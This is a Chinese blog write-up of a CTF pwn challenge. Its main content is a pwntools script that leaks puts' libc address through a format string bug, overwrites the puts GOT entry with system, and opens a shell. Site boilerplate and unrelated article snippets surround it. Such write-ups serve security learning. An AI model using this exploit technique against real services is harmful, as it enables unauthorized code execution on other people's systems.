首页 > 其他分享 >【pwn】puts or system? --格式化字符串漏洞泄露libc基址

【pwn】puts or system? --格式化字符串漏洞泄露libc基址

时间:2023-12-03 14:45:33浏览次数:26  
标签:addr puts -- libc io got recvuntil

还是先看一下保护情况

开了canary,接着看主函数逻辑

看到这里的代码逻辑,我一开始是想通过printf泄露出canary的值,然后再用ret2libc来打,但是我发现这个libc不好泄露,一般的泄露的思路都是构造ROP,通过puts函数泄露出puts的got表内容,但是我在寻找rdi这个gadget的时候,是找不到的

这也直接将这个方法堵死了,后面发现可以通过格式化字符串漏洞泄露出libc基地址,exp如下:

from pwn import * elf=ELF('./pwn') io=remote("node4.buuoj.cn",28755) context(os='linux',arch='amd64',log_level='debug')
puts_got=elf.got['puts'] io=remote("node4.buuoj.cn",28755) io.recvuntil(b"gift?(0/1)\n") io.sendline(str(1)) io.recvuntil(b"What's it\n") payload=b'AAAA%9$s'+p64(puts_got)          这里是关键,%9$s可以打印puts_got表对应的值,即puts函数地址,'AAAA%9$s'是为了构造八字节,格式化字符串的第八个参数 io.send(payload) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts_addr))
libc=ELF('./libc.so.6') base=puts_addr-libc.sym['puts'] system_addr=base+libc.sym['system']
io.recvuntil(b"gift?(0/1)\n") io.sendline(str(1)) io.recvuntil(b"What's it\n") payload2=fmtstr_payload(8,{puts_got:system_addr}) io.send(payload2)
io.interactive()

标签:addr,puts,--,libc,io,got,recvuntil
From: https://www.cnblogs.com/GGbomb/p/17872974.html

相关文章

  • Django连接Redis
    1、安装redis库pipinstalldjango-redis2、配置django中的settings.py#redis配置CACHES={"default":{"BACKEND":"django_redis.cache.RedisCache","LOCATION":"redis://127.0.0.1:6379......
  • 初中生就能看懂的Python教程 - 1. hello world、print与对象类型
    上一篇教程我们讲了如何安装Python。可以开始编程了。这一篇文章讲解有关print与变量的内容。不过我没讲怎么使用IDLE。在这里补充一下。PythonIDLE的使用下载完Python之后我们应该可以在开始菜单找到一个程序叫做IDLE,这也是新手最常用的Python编辑器,Python自带的。打开IDLE......
  • 数据过多时候,子查询改成left join减少笛卡尔积
    子查询SELECT cn.portal_idASportalId, count(id)ASnumFROM construction_package_wbs_nodecnWHERE cn.delete_flag=0 AND( cn.node_type='单位工程' ORcn.node_type='分部工程' ORcn.node_type='分项工程' ORcn.no......
  • kubeblocks的使用
    介绍:它是基于Kubernetes的云原生数据基础设施,为用户提供了关系型数据库、NoSQL数据库、向量数据库以及流计算系统的管理控制功能。可以使用提供的命令轻松部署处理数据库实例。github:https://github.com/apecloud/kubeblocks官网:https://kubeblocks.io1.初步使用安装kbcli:......
  • 2023-2024-1 20232322 罗上林 《网络》第四周学习总结
    教材学习内容总结教材学习中的问题和解决过程-问题1:概念无法理解-问题1解决方案:询问AI,百度一下基于AI的学习参考资料《网络空间安全导论》网络空间安全导论书单......
  • 防御式 CSS—处理图片失真
    当我们无法控制网页上图像的长宽比时,最好提前考虑并在用户上传与长宽比不一致的图像时提供解决方案。在下面的例子中,我们有一个带有照片的卡片组件。看起来不错当用户上传不同大小的图像时,它会被拉伸。情况不妙看看图像是如何被拉伸的!最简单的解决方法是使用CSSobject-fit......
  • 防御式CSS—Flexbox 折行
    CSSflexbox是当今最有用的CSS布局功能之一。很容易将display:flex添加到包装器中,并使子项彼此相邻排序。这是一个典型的例子。我们有一组选项,应该显示在彼此旁边。.options-list{display:flex;}当空间不足时,将出现水平滚动。这应该是意料之中的,实际上并不是一个“......
  • gdb调试工具的使用
    为了更好的学习pwn,之前学习C语言的时候都是用的visualstudo开发环境自带的调试工具进行调试,这里学习一下在linux中使用gdb进行C语言的调试,为后续学习使用pwndbg打下一些基础安装gdb在kali安装gdb,直接使用apt安装即可sudoaptinstallgdb启动gdbgdb#直接进入g......
  • python快捷使用
    1、快速更改变量名:选中变量名,按CTRL+R参考:Python中统一快速更换变量的名称_python一键替换变量名-CSDN博客......
  • BAAI、北大&港中文团队提出 SegVol:通用且可交互的医学体素分割模型
    前言 上周,北京智源人工智能研究院(BAAI)、北京大学和香港中文大学的研究团队开源了SegVol医学通用分割模型。与过去一些很棒的MedicalSAM工作不同,SegVol是第一个能够同时支持box,point和textprompt进行任意尺寸原分辨率的3D体素分割模型。作为一个便捷的通用分割工具,研......